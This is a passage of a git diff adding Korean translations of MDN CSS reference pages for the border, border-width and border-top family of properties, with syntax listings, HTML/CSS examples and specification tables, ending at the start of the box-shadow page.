+<p><span class="seoSummary"><strong><code>border-top-color</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 위쪽 테두리 색상을 지정합니다.</span> {{cssxref("border-color")}} 또는 {{cssxref("border-top")}} 단축 속성으로도 지정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top-color.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers language-css">/* &lt;color&gt; 값 */
+border-top-color: red;
+border-top-color: #ffbb00;
+border-top-color: rgb(255, 0, 0);
+border-top-color: hsla(100%, 50%, 25%, 0.75);
+border-top-color: currentColor;
+border-top-color: transparent;
+
+/* 전역 값 */
+border-top-color: inherit;
+border-top-color: initial;
+border-top-color: unset;
+</pre>
+
+<p><code>border-top-color</code> 속성은 하나의 값을 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>위쪽 테두리의 색상.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리를_가진_간단한_상자">테두리를 가진 간단한 상자</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="mybox"&gt;
+ &lt;p&gt;This is a box with a border around it.
+ Note which side of the box is
+ &lt;span class="redtext"&gt;red&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.mybox {
+ border: solid 0.3em gold;
+ border-top-color: red;
+ width: auto;
+}
+
+.redtext {
+ color: red;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('테두리를_가진_간단한_상자')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#border-top-color', 'border-top-color')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant changes, though the <code>transparent</code> keyword, now included in {{cssxref("&lt;color&gt;")}} which has been extended, has been formally removed.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#propdef-border-top-color', 'border-top-color')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-top-color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-top")}}, {{cssxref("border-color")}}.</li>
+ <li>다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}.</li>
+ <li>위쪽 테두리 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-top-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-top-style/index.html b/files/ko/web/css/border-top-style/index.html
new file mode 100644
index 0000000000..38262fffc3
--- /dev/null
+++ b/files/ko/web/css/border-top-style/index.html
@@ -0,0 +1,134 @@
+---
+title: border-top-style
+slug: Web/CSS/border-top-style
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-top-style
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-top-style</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소 테두리의 위쪽 스타일을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top-style.html")}}</div>
+
+
+
+<div class="note"><strong>참고:</strong> 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-top-style: none;
+border-top-style: hidden;
+border-top-style: dotted;
+border-top-style: dashed;
+border-top-style: solid;
+border-top-style: double;
+border-top-style: groove;
+border-top-style: ridge;
+border-top-style: inset;
+border-top-style: outset;
+
+/* 전역 값 */
+border-top-style: inherit;
+border-top-style: initial;
+border-top-style: unset;
+</pre>
+
+<p><code>border-top-style</code> 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;tr&gt;
+ &lt;td class="b1"&gt;none&lt;/td&gt;
+ &lt;td class="b2"&gt;hidden&lt;/td&gt;
+ &lt;td class="b3"&gt;dotted&lt;/td&gt;
+ &lt;td class="b4"&gt;dashed&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td class="b5"&gt;solid&lt;/td&gt;
+ &lt;td class="b6"&gt;double&lt;/td&gt;
+ &lt;td class="b7"&gt;groove&lt;/td&gt;
+ &lt;td class="b8"&gt;ridge&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td class="b9"&gt;inset&lt;/td&gt;
+ &lt;td class="b10"&gt;outset&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Define look of the table */
+table {
+ border-width: 2px;
+ background-color: #52E385;
+}
+tr, td {
+ padding: 3px;
+}
+
+/* border-top-style example classes */
+.b1 {border-top-style: none;}
+.b2 {border-top-style: hidden;}
+.b3 {border-top-style: dotted;}
+.b4 {border-top-style: dashed;}
+.b5 {border-top-style: solid;}
+.b6 {border-top-style: double;}
+.b7 {border-top-style: groove;}
+.b8 {border-top-style: ridge;}
+.b9 {border-top-style: inset;}
+.b10 {border-top-style: outset;}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('예제', 300, 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-top-style')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-top-style')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-top-style")}}</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>테두리 스타일 관련 CSS 속성: {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-left-style")}}, {{cssxref("border-style")}}.</li>
+ <li>위쪽 테두리 관련 CSS 속성: {{cssxref("border-top")}}, {{cssxref("border-top-color")}}, {{cssxref("border-top-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-top-width/index.html b/files/ko/web/css/border-top-width/index.html
new file mode 100644
index 0000000000..caa05e40cc
--- /dev/null
+++ b/files/ko/web/css/border-top-width/index.html
@@ -0,0 +1,148 @@
+---
+title: border-top-width
+slug: Web/CSS/border-top-width
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/border-top-width
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-top-width</code></strong> 속성은 요소의 위쪽 테두리 너비를 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top-width.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값*/
+border-top-width: thin;
+border-top-width: medium;
+border-top-width: thick;
+
+/* &lt;length&gt; 값 */
+border-top-width: 10em;
+border-top-width: 3vmax;
+border-top-width: 6px;
+
+/* 전역 값 */
+border-top-width: inherit;
+border-top-width: initial;
+border-top-width: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>테두리의 너비입니다. 0 이상의 {{cssxref("&lt;length&gt;")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다.
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <td><code>thin</code></td>
+ <td>
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-top-style: solid; border-top-width: thin; background-color: palegreen;"></div>
+ </td>
+ <td>얇은 테두리</td>
+ </tr>
+ <tr>
+ <td><code>medium</code></td>
+ <td>
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-top-style: solid; border-top-width: medium; background-color: palegreen;"></div>
+ </td>
+ <td>중간 테두리</td>
+ </tr>
+ <tr>
+ <td><code>thick</code></td>
+ <td>
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-top-style: solid; border-top-width: thick; background-color: palegreen;"></div>
+ </td>
+ <td>넓은 테두리</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>참고:</strong> 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 <code>thin ≤ medium ≤ thick</code>이고, 하나의 문서 내에서 동일합니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div&gt;Element 1&lt;/div&gt;
+&lt;div&gt;Element 2&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">div {
+ border: 1px solid red;
+ margin: 1em 0;
+}
+
+div:nth-child(1) {
+ border-top-width: thick;
+}
+div:nth-child(2) {
+ border-top-width: 2em;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', '100%')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-top-width')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-top-width')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border-left-width', 'border-top-width')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-top-width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 너비 관련 CSS 속성: {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-bottom-width")}}, and {{Cssxref("border-width")}}.</li>
+ <li>위쪽 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-top")}}, {{Cssxref("border-top-style")}}, and {{Cssxref("border-top-color")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-top/index.html b/files/ko/web/css/border-top/index.html
new file mode 100644
index 0000000000..53b254c317
--- /dev/null
+++ b/files/ko/web/css/border-top/index.html
@@ -0,0 +1,109 @@
+---
+title: border-top
+slug: Web/CSS/border-top
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+ - 테두리
+translation_of: Web/CSS/border-top
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-top</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 위쪽 테두리를 설정합니다.</span> {{cssxref("border-top-width")}}, {{cssxref("border-top-style")}}, {{cssxref("border-top-color")}}의 값을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top.html")}}</div>
+
+
+
+<p>다른 단축 속성과 마찬가지로, <code>border-top</code>는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.</p>
+
+<pre class="brush: css">border-top-style: dotted;
+border-top: thick green;
+</pre>
+
+<pre class="brush: css">border-top-style: dotted;
+border-top: none thick green;
+</pre>
+
+<p>따라서 <code>border-top</code>보다 먼저 지정한 {{cssxref("border-top-style")}}의 값은 무시됩니다. {{cssxref("border-top-style")}}의 기본값은 <code>none</code>이므로, <code>border-style</code>을 명시하지 않으면 테두리를 만들지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">border-top: 1px;
+border-top: 2px dotted;
+border-top: medium dashed green;
+</pre>
+
+<p><code>border-top</code>은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>{{cssxref("border-top-width")}}.</dd>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>{{cssxref("border-top-style")}}.</dd>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>{{cssxref("border-top-color")}}.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;div&gt;
+ 위쪽 테두리를 가진 요소입니다.
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+ border-top: 4px dashed blue;
+ background-color: gold;
+ height: 100px;
+ width: 100px;
+ font-weight: bold;
+ text-align: center;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#border-top', 'border-top')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No direct changes, though the modification of values for the {{cssxref("border-top-color")}} do apply to it.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#propdef-border-top', 'border-top')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant changes.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border-top', 'border-top')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.border-top")}}</p>
diff --git a/files/ko/web/css/border-width/index.html b/files/ko/web/css/border-width/index.html
new file mode 100644
index 0000000000..f41c188740
--- /dev/null
+++ b/files/ko/web/css/border-width/index.html
@@ -0,0 +1,194 @@
+---
+title: border-width
+slug: Web/CSS/border-width
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+ - 'recipe:css-shorthand-property'
+translation_of: Web/CSS/border-width
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-width</code></strong> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소 네 면 테두리의 너비를 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-width.html")}}</div>
+
+
+
+<h2 id="구성_속성">구성 속성</h2>
+
+<p><code>border-width</code>는 단축 속성으로서 다음의 하위 속성을 포함합니다.</p>
+
+<ul>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+</ul>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+border-width: thin;
+border-width: medium;
+border-width: thick;
+
+/* &lt;length&gt; 값 */<em>
+</em>border-width: 4px;
+border-width: 1.2rem;<em>
+</em>
+/* 세로방향 | 가로방향 */
+border-width: 2px 1.5em;
+
+/* 위 | 가로방향 | 아래 */
+border-width: 1px 2em 1.5cm;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-width: 1px 2em 0 4rem;
+
+/* 전역 키워드 */
+border-width: inherit;
+border-width: initial;
+border-width: unset;
+</pre>
+
+<p><code>border-width</code> 속성은 한 개에서 네 개의 값을 사용해 지정할 수 있습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 네 면 모두의 테두리 너비를 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 테두리 너비를 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 테두리 너비를 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 테두리 너비를 지정합니다. (시계방향)</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>테두리의 너비입니다. 0 이상의 {{cssxref("&lt;length&gt;")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다.
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <td style="vertical-align: middle;"><code>thin</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid; border-width: thin; background-color: palegreen;"></div>
+ </td>
+ <td style="vertical-align: middle;">얇은 테두리</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>medium</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid; border-width: medium; background-color: palegreen;"></div>
+ </td>
+ <td style="vertical-align: middle;">중간 테두리</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: middle;"><code>thick</code></td>
+ <td style="vertical-align: middle;">
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid; border-width: thick; background-color: palegreen;"></div>
+ </td>
+ <td style="vertical-align: middle;">굵은 테두리</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>참고:</strong> 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 <code>thin ≤ medium ≤ thick</code>이고, 하나의 문서 내에서 동일합니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="서로_다른_값의_조합">서로 다른 값의 조합</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p id="sval"&gt;
+ 한 개의 값: 모든 네 면이 6px 테두리&lt;/p&gt;
+&lt;p id="bival"&gt;
+ 두 개의 다른 값: 위아래에 2px 테두리, 좌우에 10px 테두리&lt;/p&gt;
+&lt;p id="treval"&gt;
+ 세 개의 다른 값: 위에 0.3em, 아래에 9px, 좌우에 0&lt;/p&gt;
+&lt;p id="fourval"&gt;
+ 네 개의 다른 값: "얇은" 위, "중간" 오른쪽, "두꺼운" 아래, 왼쪽 1em&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">#sval {
+ border: ridge #ccc;
+ border-width: 6px;
+}
+#bival {
+ border: solid red;
+ border-width: 2px 10px;
+}
+#treval {
+ border: dotted orange;
+ border-width: 0.3em 0 9px;
+}
+#fourval {
+ border: solid lightgreen;
+ border-width: thin medium thick 1em;
+}
+p {
+ width: auto;
+ margin: 0.25em;
+ padding: 0.25em;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('서로_다른_값의_조합', 320, 320) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-width')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No direct change; the {{cssxref("&lt;length&gt;")}} CSS data type extension has an effect on this property.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-width')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Added the constraint that values' meaning must be constant inside a document.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border-width', 'border-width')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 관련 단축 속성: {{Cssxref("border")}}, {{Cssxref("border-style")}}, {{Cssxref("border-color")}}</li>
+ <li>테두리 너비 속성: {{Cssxref("border-bottom-width")}}, {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-top-width")}}</li>
+</ul>
diff --git a/files/ko/web/css/border/index.html b/files/ko/web/css/border/index.html
new file mode 100644
index 0000000000..405ccfb05c
--- /dev/null
+++ b/files/ko/web/css/border/index.html
@@ -0,0 +1,151 @@
+---
+title: border
+slug: Web/CSS/border
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Layout
+ - Reference
+ - 'recipe:css-shorthand-property'
+translation_of: Web/CSS/border
+---
+<div>{{CSSRef("CSS Borders")}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border</code></strong> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 테두리를 설정합니다. {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, {{Cssxref("border-color")}}의 값을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border.html")}}</div>
+
+
+
+<h2 id="구성_속성">구성 속성</h2>
+
+<p><code>border</code>는 단축 속성으로서 다음의 하위 속성을 포함합니다.</p>
+
+<ul>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>{{cssxref("border-width")}}</li>
+</ul>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 스타일 */
+border: solid;
+
+/* 너비 | 스타일 */
+border: 2px dotted;
+
+/* 스타일 | 색 */
+border: outset #f33;
+
+/* 너비 | 스타일 | 색 */
+border: medium dashed green;
+
+/* 전역 값 */
+border: inherit;
+border: initial;
+border: unset;
+</pre>
+
+<p><code>border</code> 속성은 다음의 값 중 한 개에서 세 개를 선택해서 지정할 수 있습니다. 순서는 영향을 주지 않습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 스타일을 지정하지 않으면 기본값인 <code>none</code>이 사용돼 테두리가 보이지 않습니다.</p>
+</div>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt id="&lt;line-width>"><code>&lt;line-width&gt;</code></dt>
+ <dd>테두리의 굵기로 기본값은 <code>medium</code>입니다. {{Cssxref("border-width")}}를 참고하세요.</dd>
+ <dt id="&lt;line-style>"><code>&lt;line-style&gt;</code></dt>
+ <dd>테두리의 스타일로 기본값은 <code>none</code>입니다. {{Cssxref("border-style")}}을 참고하세요.</dd>
+ <dt id="&lt;color>">{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>테두리의 색상으로 기본값은 <code>currentcolor</code>입니다. {{Cssxref("border-color")}}를 참고하세요.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>다른 단축 속성과 마찬가지로, 생략한 속성은 <a href="/ko/docs/Web/CSS/initial_value">초깃값</a>으로 설정됩니다. 한 가지 중요한 점은, <code>border</code>를 사용해서는 {{cssxref("border-image")}}에 원하는 값을 지정할 수는 없고 대신 초깃값인 <code>none</code>이 자동으로 설정됩니다.</p>
+
+<p><code>border</code> 단축 속성은 요소의 테두리를 모두 동일하게 설정하고 싶을 때 특히 유용합니다. 그러나 서로의 테두리를 다르게 하고 싶다면 네 면을 각각 설정할 수 있는 본디 속성 {{Cssxref("border-width")}}, {{Cssxref("border-style")}},{{Cssxref("border-color")}}를 사용하면 됩니다. 아니면 한 면의 테두리를 절대 기준({{Cssxref("border-top")}} 등)이나 상대 기준({{Cssxref("border-block-start")}} 등) 속성을 사용해서 따로 정해줄 수도 있습니다.</p>
+
+<h3 id="테두리_vs외곽선">테두리 vs외곽선</h3>
+
+<p>테두리와 <a href="/ko/docs/Web/CSS/outline">외곽선</a>은 매우 유사하지만, 다음의 두 가지 차이점이 존재합니다.</p>
+
+<ul>
+ <li>외곽선은 요소 콘텐츠의 밖에 그려지며 절대 공간을 차지하지 않습니다.</li>
+ <li>명세에 따르면 외곽선은 직사각형일 필요가 없습니다. 보통 직사각형으로 그리기는 합니다.</li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate"><code>{{csssyntax}}</code></pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="튀어나오는_듯한_분홍색_테두리_추가하기">튀어나오는 듯한 분홍색 테두리 추가하기</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;테두리와 외곽선에 더해 그림자까지, 정말 멋지지 않나요?&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+ border: 0.5rem outset pink;
+ outline: 0.5rem solid khaki;
+ box-shadow: 0 0 0 2rem skyblue;
+ border-radius: 12px;
+ font: bold 1rem sans-serif;
+ margin: 2rem;
+ padding: 1rem;
+ outline-offset: 0.5rem;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('튀어나오는_듯한_분홍색_테두리_추가하기')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-shorthands', 'border')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Removes <em>specific</em> support for <code>transparent</code>, as it is now a valid {{cssxref("&lt;color&gt;")}}; this has no practical impact.<br>
+ Though it cannot be set to a custom value using the shorthand, <code>border</code> now resets {{cssxref("border-image")}} to its initial value (<code>none</code>).</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-shorthand-properties', 'border')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Accepts the <code>inherit</code> keyword. Also accepts <code>transparent</code> as a valid color.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border', 'border')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border")}}</p>
diff --git a/files/ko/web/css/box-shadow/index.html b/files/ko/web/css/box-shadow/index.html
new file mode 100644
index 0000000000..a040af6e5e
--- /dev/null
+++ b/files/ko/web/css/box-shadow/index.html
@@ -0,0 +1,126 @@
+---
+title: box-shadow
+slug: Web/CSS/box-shadow
+tags:
+ - CSS
+ - CSS Property
+ - CSS Styles
+ - Reference
+translation_of: Web/CSS/box-shadow
+---
+<div>{{ CSSRef }}</div>
+
